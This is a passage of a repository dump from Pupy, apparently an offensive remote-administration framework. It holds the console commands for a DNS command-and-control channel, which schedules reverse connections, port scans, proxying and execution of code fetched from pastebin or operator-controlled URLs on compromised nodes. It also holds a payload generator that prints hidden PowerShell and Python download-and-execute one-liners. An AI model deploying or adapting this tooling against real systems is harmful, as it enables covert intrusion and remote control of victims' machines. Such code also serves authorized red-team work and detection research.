load')\ninfo_sorting.add_argument('-m', action='store_true', help='Sort by MEM load')\ninfo_sorting.add_argument('-l', action='store_true', help='Sort by listeners count')\ninfo_sorting.add_argument('-e', action='store_true', help='Sort by established connections count')\ninfo_sorting.add_argument('-u', action='store_true', help='Sort by users count')\ninfo_sorting.add_argument('-x', action='store_true', help='Sort by idle')\ninfo_sorting.add_argument('-t', action='store_true', help='Sort by tags')\n\nwait = commands.add_parser('wait', help='Wait all commands applied or session gone')\nwait.add_argument('-t', '--timeout', type=int, help='Timeout')\n\npolicy = commands.add_parser('set', help='Change policy (polling, timeout)')\npolicy.add_argument('-p', '--poll', help='Set poll interval', type=int)\nkex = policy.add_mutually_exclusive_group()\nkex.add_argument('-K', '--no-kex', default=None, action='store_true', help='Disable KEX')\nkex.add_argument('-k', '--kex', default=None, action='store_true', help='Enable KEX')\npolicy.add_argument('-t', '--timeout', type=int, help='Set session timeout')\n\nconnect = commands.add_parser('connect', help='Request reverse connection')\nconnect.add_argument('-c', '--host', help='Manually specify external IP address for connection')\nconnect.add_argument('-p', '--port', help='Manually specify external PORT for connection')\nconnect.add_argument('-t', '--transport', help='Manually specify transport for connection')\nconnect.add_argument('-f', '--fronting', help='Hostname for fronting')\n\nreset = commands.add_parser('reset', help='Reset scheduled commands')\ndisconnect = commands.add_parser('disconnect', help='Request disconnection')\n\nreexec = commands.add_parser('reexec', help='Try to reexec module')\n\nonlinestatus = commands.add_parser('onlinestatus', help='Try to check network ability (warning: noisy)')\n\nextra = commands.add_parser('extra', help='Get extra info from session (cyan colored)')\n\nscan = commands.add_parser('scan', help='Try to connect to remote host ports (range)')\nscan.add_argument('host', type=str, help='Host')\nscan.add_argument('first', type=int, help='First port in range')\nscan.add_argument('last', type=int, nargs='?', help='Last port in range')\n\nsleep = commands.add_parser('sleep', help='Postpone any activity')\nsleep.add_argument('-t', '--timeout', default=10, type=int, help='Timeout (seconds)')\n\npastelink = commands.add_parser('pastelink', help='Execute code by link to pastebin service')\npastelink.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec',\n                           help='Action - execute as executable, or evaluate as python/sh code')\npastelink_src = pastelink.add_mutually_exclusive_group(required=True)\npastelink_src.add_argument('-c', '--create', metavar='<SRC>', help='Create new pastelink from file')\npastelink_src.add_argument('-C', '--create-content', metavar=('<SRC>', '<DST>'), nargs=2,\n                           help='Create new content from file and store content to specified path')\npastelink_src.add_argument('-u', '--url', help='Specify existing URL')\npastelink.add_argument('-1', '--legacy', default=False,\n                       action='store_true', help='Encrypt using legacy V1 encoder')\n\ndexec = commands.add_parser('dexec', help='Execute code by link to service controlled by you')\ndexec.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec',\n                           help='Action - execute as executable, or evaluate as python/sh code')\ndexec.add_argument('-u', '--url', required=True, help='URL to data')\ndexec.add_argument('-p', '--proxy', action='store_true', default=False,\n                       help='Ask to use system proxy (http/https only)')\n\nproxy = commands.add_parser('proxy', help='Set connection proxy')\nproxy.add_argument('uri', help='URI. Example: http://user:password@192.168.0.1:3128 or none')\n\nexit = commands.add_parser('exit', help='Request exit')\n\ndef do(server, handler, config, args):\n    if not server.dnscnc:\n        handler.display(Error('DNSCNC disabled'))\n        return\n\n    if args.command == 'status':\n        policy = handler.dnscnc.policy\n        objects = {\n            'DOMAIN': server.dnscnc.dns_domain,\n            'DNS PORT': str(server.dnscnc.dns_port),\n            'RECURSOR': server.dnscnc.dns_recursor,\n            'LISTEN': str(server.dnscnc.dns_listen),\n            'SESSIONS': 'TOTAL={} DIRTY={}'.format(\n                server.dnscnc.count, server.dnscnc.dirty\n            ),\n            'POLL': '{}s'.format(policy['interval']),\n            'TIMEOUT': '{}s'.format(policy['timeout']),\n            'KEX': '{}'.format(bool(policy['kex'])),\n        }\n\n        handler.display(Table([\n            {'PROPERTY':k, 'VALUE':v} for k,v in objects.items()\n        ], ['PROPERTY', 'VALUE']))\n\n        if server.dnscnc.commands:\n            handler.display('\\nDEFAULT COMMANDS:\\n'+'\\n'.join([\n                '{:03d} {}'.format(i, cmd) for i, cmd in enumerate(server.dnscnc.commands)\n            ]))\n\n        if server.dnscnc.node_commands:\n            handler.display('\\nNODE DEFAULT COMMANDS:')\n            for node, commands in server.dnscnc.node_commands.items():\n                handler.display('\\n' + '\\n'.join([\n                    '{:03d} {}: {}'.format(\n                        i, '{:012x}'.format(node) if type(node) == int else node, cmd\n                    ) for i, cmd in enumerate(commands)\n                ]))\n\n    elif args.command == 'info':\n        sessions = server.dnscnc.list(args.node)\n        if not sessions:\n            handler.display(Success('No active DNSCNC sesisons found'))\n            return\n\n        objects = []\n\n        sort_by = None\n\n        if args.o:\n            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']\n        elif args.i:\n            sort_by = lambda x: x.system_info['external_ip']\n        elif args.n:\n            sort_by = lambda x: x.system_info['node']\n        elif args.c:\n            sort_by = lambda x: x.system_status['cpu']\n        elif args.m:\n            sort_by = lambda x: x.system_status['mem']\n        elif args.l:\n            sort_by = lambda x: x.system_status['listen']\n        elif args.e:\n            sort_by = lambda x: x.system_status['remote']\n        elif args.u:\n            sort_by = lambda x: x.system_status['users']\n        elif args.x:\n            sort_by = lambda x: x.system_status['idle']\n        elif args.t:\n            sort_by = lambda x: str(sorted(config.tags(x.system_info['node'])))\n\n        if sort_by:\n            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))\n\n        for idx, session in enumerate(sessions):\n            if not (session.system_status and session.system_info):\n                continue\n\n            object = {\n                '#': '{:03d}'.format(idx),\n                'P': '',\n                'NODE': '{:012x}'.format(session.system_info['node']),\n                'SESSION': '{:08x}'.format(session.spi),\n                'EIP': session.system_info['external_ip'] or '?',\n                'IIP': session.system_info.get('internal_ip') or '',\n                'OS': '{}/{}'.format(\n                    session.system_info['os'],\n                    session.system_info['arch']\n                ),\n                'CPU': '{:d}%'.format(session.system_status['cpu']),\n                'MEM': '{:d}%'.format(session.system_status['mem']),\n                'LIS': '{:d}'.format(session.system_status['listen']),\n                'EST': '{:d}'.format(session.system_status['remote']),\n                'USERS': '{:d}'.format(session.system_status['users']),\n                'IDLE': '{}'.format(session.system_status['idle']),\n                'TAGS': '{}'.format(config.tags(session.system_info['node']))\n            }\n\n            pupy_session = None\n            for c in server.clients:\n                if 'spi' in c.desc:\n                    if c.desc['spi'] == '{:08x}'.format(session.spi):\n                        pupy_session = c.desc['id']\n                        break\n                # elif c.node() == '{:012x}'.format(session.system_info['node']):\n                #     pupy_session = c.desc['id']\n\n            if pupy_session:\n                object.update({\n                    'P': pupy_session\n                })\n\n            color = ''\n            if (session.online_status or session.egress_ports or session.open_ports):\n                color = 'cyan'\n            elif session.system_status['cpu'] > 90 or session.system_status['mem'] > 90:\n                color = 'lightred'\n            elif (session.pstore_dirty):\n                color = 'magenta'\n            elif not session.system_status['idle']:\n                color = 'lightyellow'\n            elif pupy_session:\n                color = 'lightgreen'\n\n            if color:\n                object = {\n                    k:Color(v, color) for k,v in object.items()\n                }\n\n            objects.append(object)\n\n        columns = [\n            '#', 'P', 'NODE', 'SESSION', 'EIP', 'IIP', 'OS',\n            'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE', 'TAGS'\n        ]\n\n        handler.display(Table(objects, columns))\n\n    elif args.command == 'sessions':\n        sessions = server.dnscnc.list(args.node)\n        if not sessions:\n            handler.display(Success('No active DNSCNC sesisons found'))\n            return\n\n        objects = []\n\n        sort_by = None\n        if args.b:\n            sort_by = lambda x: x.system_info['boottime']\n        elif args.o:\n            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']\n        elif args.i:\n            sort_by = lambda x: x.system_info['external_ip']\n        elif args.d:\n            sort_by = lambda x: x.duration\n        elif args.c:\n            sort_by = lambda x: x.commands\n        elif args.n:\n            sort_by = lambda x: x.system_info['node']\n\n        if sort_by:\n            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))\n\n        for idx, session in enumerate(sessions):\n            object = {\n                '#': idx,\n                'P': '',\n                'NODE': '{:012x}'.format(session.system_info['node']),\n                'SESSION': '{:08x}'.format(session.spi),\n                'EXTERNAL IP': '{}'.format(\n                    session.system_info['external_ip'] or '?'\n                ),\n                'INTERNAL IP': '{}'.format(\n                    session.system_info.get('internal_ip') or ''\n                ),\n                'ONLINE': '{}'.format(\n                    'Y' if session.system_info['internet'] else 'N'\n                ),\n                'IDLE': '{}s'.format(session.idle),\n                'DURATION': '{}s'.format(session.duration),\n                'OS': '{}/{}'.format(\n                    session.system_info['os'],\n                    session.system_info['arch']\n                ),\n                'BOOTED': '{}s'.format(\n                    session.system_info['boottime'].ctime()) if \\\n                    session.system_info['boottime'] else '?',\n                'CMDS': '{}'.format(len(session.commands))\n            }\n\n            pupy_session = None\n            for c in server.clients:\n                if 'spi' in c.desc:\n                    if c.desc['spi'] == '{:08x}'.format(session.spi):\n                        pupy_session = c.desc['id']\n                        break\n                # elif c.node() == '{:012x}'.format(session.system_info['node']):\n                #     pupy_session = c.desc['id']\n\n            color = None\n\n            if pupy_session:\n                object.update({\n                    'P': pupy_session\n                })\n                color = 'lightgreen'\n            elif session.idle > server.dnscnc.policy['interval']:\n                color = 'grey'\n            elif not session.system_info['internet']:\n                color = 'lightred'\n            elif len(session.commands) > 0:\n                color = 'yellow'\n\n            if color:\n                object = {\n                    k:Color(v, color) for k,v in object.items()\n                }\n\n            objects.append(object)\n\n        columns = [\n            '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE',\n            'EXTERNAL IP', 'INTERNAL IP', 'IDLE', 'DURATION',\n            'BOOTED', 'CMDS'\n        ]\n\n        handler.display(Table(objects, columns))\n\n    elif args.command == 'nodes':\n        nodes = server.dnscnc.nodes(args.node)\n\n        if not nodes:\n            handler.display(Success('No active DNSCNC nodes found'))\n            return\n\n        objects = []\n\n        sort_by = None\n        if args.i:\n            sort_by = lambda x: x.cid\n        if args.a:\n            sort_by = lambda x: x.alert\n        elif args.I:\n            sort_by = lambda x: x.iid\n        elif args.d:\n            sort_by = lambda x: x.duration\n        elif args.c:\n            sort_by = lambda x: len(x.commands)\n        elif args.n:\n            sort_by = lambda x: x.node\n        elif args.v:\n            sort_by = lambda x: x.version\n\n        if sort_by:\n            nodes = sorted(nodes, key=sort_by, reverse=bool(args.r))\n\n        for idx, node in enumerate(nodes):\n            object = {\n                '#': idx,\n                'P': '',\n                'A': 'Y' if node.alert else '',\n                'NODE': '{:012x}'.format(node.node),\n                'IID': '{}'.format(\n                    'pid:{}'.format(node.iid) if node.iid < 65535 \\\n                    else 'spi:{:08x}'.format(node.iid)),\n                'VER': '{}'.format(node.version),\n                'CID': '{:08x}'.format(node.cid),\n                'IDLE': '{}s'.format(node.idle),\n                'DURATION': '{}s'.format(node.duration),\n                'CMDS': '{}'.format(len(node.commands)),\n                'TAGS': '{}'.format(config.tags(node.node)),\n                'WARN': '{}'.format(node.warning if node.warning else '')\n            }\n\n            pupy_session = None\n            ids = []\n\n            for c in server.clients:\n                if c.node() == '{:012x}'.format(node.node):\n                    if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \\\n                      or (node.iid > 65535 and 'spi' in c.desc and \\\n                      c.desc['spi'] == '{:08x}'.format(node.iid)):\n                        ids.append(str(c.desc['id']))\n\n            if ids:\n                pupy_session = ','.join(ids)\n\n            color = None\n\n            if pupy_session:\n                object.update({\n                    'P': pupy_session\n                })\n\n            if node.alert:\n                color = 'lightred'\n            elif node.warning:\n                color = 'cyan'\n            elif pupy_session:\n                color = 'lightgreen'\n            elif node.idle > server.dnscnc.policy['interval']:\n                color = 'grey'\n            elif len(node.commands) > 0:\n                color = 'yellow'\n\n            if color:\n                object = {\n                    k:Color(v, color) for k,v in object.items()\n                }\n\n            objects.append(object)\n\n        columns = [\n            '#', 'P', 'A', 'NODE', 'IID', 'VER',\n            'CID', 'IDLE', 'DURATION', 'CMDS', 'TAGS', 'WARN'\n        ]\n\n        handler.display(Table(objects, columns))\n\n    elif args.command == 'wait':\n        now = time.time()\n        timeout = None\n        if args.timeout:\n            timeout = now + args.timeout\n        else:\n            timeout = now + handler.dnscnc.policy['timeout']\n\n        dirty = True\n\n        while dirty or (time.time() >= timeout):\n            dirty = False\n            for session in server.dnscnc.list():\n                if len(session.commands) > 0:\n                    dirty = True\n\n            if dirty:\n                time.sleep(1)\n\n    elif args.command == 'set':\n        set_kex = None\n        if args.kex is not None:\n            set_kex = True\n        elif args.no_kex is not None:\n            set_kex = False\n\n        if all([x is None for x in [set_kex, args.timeout, args.poll]]):\n            handler.display(Error('No arguments provided.'))\n        else:\n            count = server.dnscnc.set_policy(set_kex, args.timeout, args.poll, node=args.node)\n            if count:\n                handler.display(Success('Apply policy to {} known nodes'.format(count)))\n\n    elif args.command == 'reset':\n        count = server.dnscnc.reset(\n            session=args.node,\n            default=args.default\n        )\n\n        if count:\n            handler.display(Success('Reset commands on {} known nodes'.format(count)))\n        elif args.node:\n            handler.display(Error('Node {} not found'.format(args.node)))\n\n    elif args.command == 'connect':\n        # try:\n        count = server.dnscnc.connect(\n            args.host,\n            args.port,\n            args.transport,\n            args.fronting,\n            node=args.node,\n            default=args.default\n        )\n        # except Exception, e:\n        #     handler.display(Error(e))\n        #     return\n\n        if count:\n            handler.display(Success('Schedule connect {} known nodes'.format(count)))\n        elif args.node:\n            handler.display(Error('Node {} not found'.format(args.node)))\n\n    elif args.command == 'onlinestatus':\n        count = server.dnscnc.onlinestatus(node=args.node, default=args.default)\n\n        if count:\n            handler.display(Success('Schedule online status request to {} known nodes'.format(count)))\n        elif args.node:\n            handler.display(Error('Node {} not found'.format(args.node)))\n\n    elif args.command == 'scan':\n        count = server.dnscnc.scan(\n            args.host, args.first, args.last or args.first,\n            node=args.node, default=args.default\n        )\n\n        if count:\n            handler.display(Success('Schedule scan request to {} known nodes'.format(count)))\n        elif args.node:\n            handler.display(Error('Node {} not found'.format(args.node)))\n\n    elif args.command == 'disconnect':\n        count = server.dnscnc.disconnect(\n            node=args.node,\n            default=args.default\n        )\n\n        if count:\n            handler.display(Success('Schedule disconnect to {} known nodes'.format(count)))\n        elif args.node:\n            handler.display(Error('Node {} not found'.format(args.node)))\n\n    elif args.command == 'exit':\n        count = server.dnscnc.exit(\n            node=args.node,\n            default=args.default\n        )\n\n        if count:\n            handler.display(Success('Schedule exit to {} known nodes'.format(count)))\n        elif args.node:\n            handler.display(Error('Node {} not found'.format(args.node)))\n\n    elif args.command == 'reexec':\n        count = server.dnscnc.reexec(\n            node=args.node,\n            default=args.default\n        )\n\n        if count:\n            handler.display(Success('Schedule reexec to {} known nodes'.format(count)))\n        elif args.node:\n            handler.display(Error('Node {} not found'.format(args.node)))\n\n    elif args.command == 'sleep':\n        count = server.dnscnc.sleep(\n            args.timeout,\n            node=args.node,\n            default=args.default\n        )\n\n        if count:\n            handler.display(Success('Schedule sleep to {} known nodes'.format(count)))\n        elif args.node:\n            handler.display(Error('Node {} not found'.format(args.node)))\n\n    elif args.command == 'proxy':\n        count = server.dnscnc.proxy(\n            args.uri,\n            node=args.node,\n            default=args.default\n        )\n\n        if count:\n            handler.display(Success('Schedule proxy to {} known nodes'.format(count)))\n        elif args.node:\n            handler.display(Error('Node {} not found'.format(args.node)))\n\n    elif args.command == 'dexec':\n        count = server.dnscnc.dexec(\n            args.url,\n            args.action,\n            proxy=args.proxy,\n            node=args.node,\n            default=args.default\n        )\n\n        if count:\n            handler.display(Success('Schedule sleep to {} known nodes'.format(count)))\n        elif args.node:\n            handler.display(Error('Node {} not found'.format(args.node)))\n\n    elif args.command == 'pastelink':\n        try:\n            create = None\n            output = None\n\n            if args.create:\n                create = args.create\n            elif args.create_content:\n                create, output = args.create_content\n\n            count, url = server.dnscnc.pastelink(\n                content=create,\n                output=output,\n                url=args.url,\n                action=args.action,\n                node=args.node,\n                default=args.default,\n                legacy=args.legacy\n            )\n\n            if output:\n                return\n\n            if count:\n                handler.display(Success('Schedule exit to {} known nodes'.format(count)))\n            elif args.node:\n                handler.display(Error('Node {} not found'.format(args.node)))\n\n        except ValueError as e:\n            handler.display(Error('{}'.format(e)))\n\n    elif args.command == 'extra':\n        sessions = server.dnscnc.list(args.node)\n        if not sessions:\n            handler.display(Error('No sessions found'))\n            return\n        elif len(sessions) > 1:\n            handler.display(Error('Selected more than one sessions'))\n            return\n\n        session = sessions[0]\n\n        if session.online_status:\n            handler.display('\\nONLINE STATUS\\n')\n            objects = [\n                {\n                    'KEY':Color(\n                        k.upper().replace('-', ' '),\n                        'green' if session.online_status[k] else 'lightyellow'\n                    ),\n                    'VALUE':Color(\n                         str(session.online_status[k]).upper(),\n                         'green' if session.online_status[k] else 'lightyellow'\n                    )\n                } for k in [\n                    'online', 'igd', 'hotspot', 'dns', 'ntp',\n                    'direct-dns', 'http', 'https',\n                    'https-no-cert', 'https-mitm', 'proxy',\n                    'transparent-proxy', 'stun', 'mintime', 'ntp-offset'\n                ]\n            ]\n\n            handler.display(Table(objects, ['KEY', 'VALUE']))\n\n            handler.display('\\nPASTES STATUS\\n')\n            objects = [\n                {\n                    'KEY': Color(k, 'green' if v else 'lightyellow'),\n                    'VALUE':Color(v, 'green' if v else 'lightyellow')\n                } for k,v in session.online_status['pastebins'].items()\n            ]\n            handler.display(Table(objects, ['KEY', 'VALUE']))\n\n            session.online_status = None\n\n        if session.egress_ports:\n            handler.display('\\nEGRESS PORTS: {}\\n'.format(','.join(str(x) for x in session.egress_ports)))\n            session.egress_ports = set()\n\n        if session.open_ports:\n            handler.display('\\nOPEN PORTS\\n')\n            objects = [\n                {\n                    'IP': str(ip),\n                    'PORTS': ','.join(str(x) for x in ports)\n                } for ip,ports in session.open_ports.items()\n            ]\n            handler.display(Table(objects, ['IP', 'PORTS']))\n            session.open_ports = {}\n"
  },
  {
    "path": "pupy/commands/exit.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\n\nusage = 'Exit Shell'\nparser = PupyArgumentParser(prog='exit', description=usage)\n\ndef do(server, handler, config, args):\n    for job in server.jobs.values():\n        job.stop()\n\n    if server.dnscnc:\n        handler.display_srvinfo('Stopping DNSCNC')\n        server.dnscnc.stop()\n\n    server.stop()\n"
  },
  {
    "path": "pupy/commands/exposed.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Table\n\nusage = 'list exposed objects/methods'\nparser = PupyArgumentParser(description=usage)\n\n\ndef do(server, handler, config, modargs):\n    for client in server.get_clients(handler.default_filter):\n        objects = []\n        with client.conn._conn._local_objects._lock:\n            for klass, refcnt in \\\n              client.conn._conn._local_objects._dict.values():\n                objects.append({\n                    'OID': id(klass),\n                    'Object': repr(klass),\n                    'Refs': refcnt\n                })\n\n        handler.display(Table(\n            objects,\n            headers=['OID', 'Object', 'Refs'],\n            caption=client.short_name()\n        ))\n"
  },
  {
    "path": "pupy/commands/gen.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport os\n\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Info, Warn, Success, Error\n\nfrom pupy.pupylib.utils.listener import get_listener_ip, get_listener_port\nfrom pupy.pupylib.utils.listener import get_listener_ip_with_local\n\nfrom pupy.cli import pupygen\n\nusage  = 'Generate payload'\n\ndef parser(server, handler, config):\n    return pupygen.get_parser(PupyArgumentParser, config=config)\n\ndef do(server, handler, config, args):\n    handler.display(Info(\"Raw user arguments given for generation: {0}\".format(str(args.launcher_args))))\n\n    if not args.launcher:\n        handler.display(Info(\"Launcher/connection method not given. It is set to 'connect' now\"))\n        args.launcher = 'connect'\n\n    #launcher method 'connect' or 'auto_proxy'\n    if args.launcher and args.launcher in ('connect', 'auto_proxy'):\n        transport      = None #For saving the transport method (default or given by user)\n        transport_idx  = None\n        host           = None #Host for listening point (not for launcher args)\n        port           = None #Port for listening point (not for launcher args)\n        host_idx       = None #For saving host:port from user args (if given by user)\n        preferred_ok   = True\n        need_transport = False #For appending transport method in launcher args\n        need_hostport  = False #For appending host & port for connection back in launcher args\n\n        if args.launcher_args:\n            #Some arguments are given in command line, saving host&port and transport method\n            total = len(args.launcher_args)\n            for idx,arg in enumerate(args.launcher_args):\n                if arg == '-t' and idx < total-1:\n                    #Manage Transport\n                    transport = args.launcher_args[idx+1]\n                    transport_idx = idx+1\n                    handler.display(Info(\n                        \"Launcher configuration: Transport for connection back will be set to {0}\".format(\n                            repr(transport))))\n                elif arg == '--host' and idx<total-1:\n                    #Manage host & port for connection back\n                    host_idx = idx+1\n                    hostport = args.launcher_args[host_idx]\n                    if ':' in hostport:\n                        host, port = hostport.rsplit(':', 1)\n                        port = int(port)\n                    else:\n                        try:\n                            port = int(hostport)\n                        except:\n                            host = hostport\n                    handler.display(Info(\n                        \"Launcher configuration: Host & port for connection back will be set to {0}:{1}\".format(\n                            host,port)))\n\n        need_transport = not bool(transport)\n        need_hostport = not all([host, port])\n\n        #If host, port or transport are missing\n        if not all([host, port, transport]):\n            default_listener = None\n            preferred_ok = False\n\n            if transport:\n                #Transport method is given, get the listener\n                default_listener = server.listeners.get(transport)\n                if not default_listener:\n                    handler.display(Error(\n                        'Requested transport {} is not active. Will use default'.format(\n                            transport)))\n                    #We need to save the transport method for the launcher\n                    need_transport = True\n\n            if not default_listener:\n                try:\n                    default_listener = next(iter(server.listeners.values()))\n                except StopIteration:\n                    pass\n\n            if default_listener:\n                #We have a listener, we can set host & port\n                transport = default_listener.name\n\n                handler.display(Info(\n                    'This local listening point will be used: Transport={} Address={}:{}'.format(\n                        default_listener.name, default_listener.external,\n                        default_listener.external_port)))\n\n                if host or port:\n                    handler.display(Warn('Host and port {0}:{1} are ignored for getting the valid local listening point but'.format(host, port)))\n                    handler.display(Warn('they are kept for configuring the launcher for connection back'))\n\n                if args.prefer_external != default_listener.local:\n                    host = default_listener.external\n                    port = default_listener.external_port\n                    preferred_ok = True\n                    handler.display(Info(\"Host & port for listening point are set to: {0}:{1}\".format(host,port)))\n                elif not args.prefer_external and not default_listener.local:\n                    host = get_listener_ip(cache=False)\n                    port = default_listener.port\n                    if host:\n                        handler.display(Warn('Using {0}:{1} as local IP:PORT for the local listening point'.format(host, port)))\n                    preferred_ok = True\n                else:\n                    preferred_ok = not (default_listener.local and args.prefer_external)\n\n        #If transport is missing\n        if not transport:\n            handler.display(Error('No active transport method. You have to explicitly choose one. Impossible to continue.'))\n            return\n\n        #If host or port is missing or preferred_ok\n        if not all([host, port, preferred_ok]):\n            maybe_port = get_listener_port(config, external=args.prefer_external)\n            maybe_host, local = get_listener_ip_with_local(\n                external=args.prefer_external,\n                config=config, igd=server.igd\n            )\n\n            if (not local and args.prefer_external) or not (host and port):\n                handler.display(Warn('Using configured/discovered: {0}:{1}'.format(maybe_host, maybe_port)))\n                host = maybe_host\n                port = maybe_port\n            else:\n                handler.display(Warn('Unable to find external HOST:PORT'))\n\n        #If need a transport method because not given by user for launcher\n        if need_transport:\n            if transport_idx is None:\n                args.launcher_args += ['-t', transport]\n            else:\n                args.launcher_args[transport_idx] = transport\n            #Transport method not given by user. Consequently,\n            handler.display(Info(\"Transport method {0} appended to launcher args\".format(repr(transport))))\n\n        #If host and port are not given/find for connection back\n        if need_hostport:\n            hostport = '{}:{}'.format(host, port)\n            if host_idx is None:\n                args.launcher_args += ['--host', hostport]\n            else:\n                args.launcher_args[host_idx] = hostport\n            #Host & port method not given by user. Consequently,\n            handler.display(Info(\"Host & port {0} appended to launcher args\".format(repr(hostport))))\n\n    #Enable HTTPD if required\n    if server.httpd:\n        handler.display(Info(\"HTTPD enabled\"))\n        wwwroot = config.get_folder('wwwroot')\n        if not args.output_dir:\n            args.output_dir = wwwroot\n\n    try:\n        output = pupygen.pupygen(args, config, server, handler.display)\n\n    except pupygen.NoOutput:\n        return\n\n    except Exception as e:\n        handler.display(Error(e, 'payload generation failed'))\n        import traceback\n        traceback.print_exc()\n        return\n\n    if not output and 'oneliner' not in args.format:\n        handler.display(Error('payload generation failed'))\n        return\n\n    if server.httpd and output.startswith(wwwroot):\n        wwwpath = os.path.relpath(output, wwwroot)\n        if config.getboolean('httpd', 'secret'):\n            wwwpath = '/'.join([\n                config.get('randoms', 'wwwsecret', random=5)\n            ] + [\n                config.set('randoms', None, x, random=5) for x in wwwpath.split('/')\n            ])\n\n        handler.display(Success('WWW URI PATH: /{}'.format(wwwpath)))\n        host=\"<host:port>\"\n        try:\n            for i in range(0,len(args.launcher_args)):\n                if args.launcher_args[i]==\"--host\":\n                    host=args.launcher_args[i+1]\n                    break\n        except:\n            pass\n\n        if args.format=='py':\n            handler.display(Success(\"ONELINER: python -c 'import urllib;exec urllib.urlopen(\\\"http://{}/{}\\\").read()'\".format(host, wwwpath)))\n        elif args.format=='ps1':\n            handler.display(Success(\"ONELINER: powershell.exe -w hidden -noni -nop -c \\\"iex(New-Object System.Net.WebClient).DownloadString('http://{}/{}')\\\"\".format(host, wwwpath)))\n"
  },
  {
    "path": "pupy/commands/help.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import MultiPart, Table, Color, Line, TruncateToTerm\nfrom pupy.pupylib.PupyCompleter import commands_completer\n\nusage  = 'Show help'\nparser = PupyArgumentParser(prog='help', description=usage)\nparser.add_argument('module', nargs='?',\n                    help='Show information about command', completer=commands_completer)\nparser.add_argument('-M', '--modules', action='store_true',\n                    help='Show information about all modules')\n\ndef do(server, handler, config, args):\n\n    tables = []\n\n    if args.module:\n        if handler.commands.has(args.module):\n            command = handler.commands.get(args.module)\n            tables.append(Line(\n                Color('Command:', 'yellow'),\n                Color(args.module+':', 'green'),\n                command.usage or 'No description'))\n            if hasattr(command.parser, 'add_help'):\n                tables.append(command.parser.format_help())\n            else:\n                parser = command.parser(server, PupyArgumentParser, config)\n                tables.append(parser.parse_args(['--help']))\n\n        for module in server.iter_modules():\n            if module.get_name().lower() == args.module.lower():\n                if module.__doc__:\n                    doc = module.__doc__.strip()\n                else:\n                    doc = ''\n\n                tables.append(Line(\n                    Color('Module:', 'yellow'),\n                    Color(args.module+':', 'green'),\n                    doc.title().split('\\n')[0]))\n\n                if module.arg_parser.add_help:\n                    tables.append(module.arg_parser.format_help())\n                else:\n                    tables.append(module.arg_parser.parse_args(['--help']))\n\n                clients = server.get_clients(handler.default_filter)\n                if clients:\n                    ctable = []\n                    for client in clients:\n                        compatible = module.is_compatible_with(client)\n                        ctable.append({\n                            'OK': Color(\n                                'Y' if compatible else 'N',\n                                'green' if compatible else 'grey'\n                            ),\n                            'CLIENT': Color(\n                                str(client),\n                                'green' if compatible else 'grey'\n                            )\n                        })\n\n                    tables.append(\n                        Table(ctable, ['OK', 'CLIENT'], Color('Compatibility', 'yellow'), False))\n\n        for command, alias in config.items(\"aliases\"):\n            if command == args.module:\n                tables.append(Line(\n                    Color('Alias:', 'yellow'),\n                    Color(args.module+':', 'green'),\n                    alias))\n\n    else:\n        commands = []\n        for command, description in handler.commands.list():\n            commands.append({\n                'COMMAND': command,\n                'DESCRIPTION': description\n            })\n\n        tables.append(Table(commands, ['COMMAND', 'DESCRIPTION'], Color('COMMANDS', 'yellow')))\n\n        if args.modules:\n            modules = sorted(list(server.iter_modules()), key=(lambda x:x.category))\n            table = []\n\n            for mod in modules:\n                compatible = all(\n                    mod.is_compatible_with(client) for client in\n                    server.get_clients(handler.default_filter))\n\n                compatible_some = any(\n                    mod.is_compatible_with(client) for client in\n                    server.get_clients(handler.default_filter))\n\n                if mod.__doc__:\n                    doc = mod.__doc__.strip()\n                else:\n                    doc = ''\n\n                category = mod.category\n                name = mod.get_name()\n                brief = doc.title().split('\\n')[0]\n\n                if compatible:\n                    pass\n                elif compatible_some:\n                    category = Color(category, 'grey')\n                    name = Color(name, 'grey')\n                    brief = Color(brief, 'grey')\n                else:\n                    category = Color(category, 'darkgrey')\n                    name = Color(name, 'darkgrey')\n                    brief = Color(brief, 'darkgrey')\n\n                table.append({\n                    'CATEGORY': category,\n                    'NAME': name,\n                    'HELP': brief\n                })\n\n            tables.append(TruncateToTerm(Table(\n                table, ['CATEGORY', 'NAME', 'HELP'], Color('MODULES', 'yellow'))))\n\n        else:\n            aliased = []\n            for module, description in server.get_aliased_modules():\n                aliased.append({\n                    'MODULE': module,\n                    'DESCRIPTION': description\n                })\n\n            if aliased:\n                tables.append(Table(aliased, ['MODULE', 'DESCRIPTION'], Color('ALIASED MODULES', 'yellow')))\n\n        aliases = []\n        for command, alias in config.items(\"aliases\"):\n            aliases.append({\n                'ALIAS': command,\n                'COMMAND': alias\n            })\n\n        if aliases:\n            tables.append(Table(aliases, ['ALIAS', 'COMMAND'], Color('ALIASES', 'yellow')))\n\n        if not args.modules:\n            tables.append(Line('Use', Color('help -M', 'green'), 'command to show all available modules'))\n\n    handler.display(MultiPart(tables))\n"
  },
  {
    "path": "pupy/commands/jobs.py",
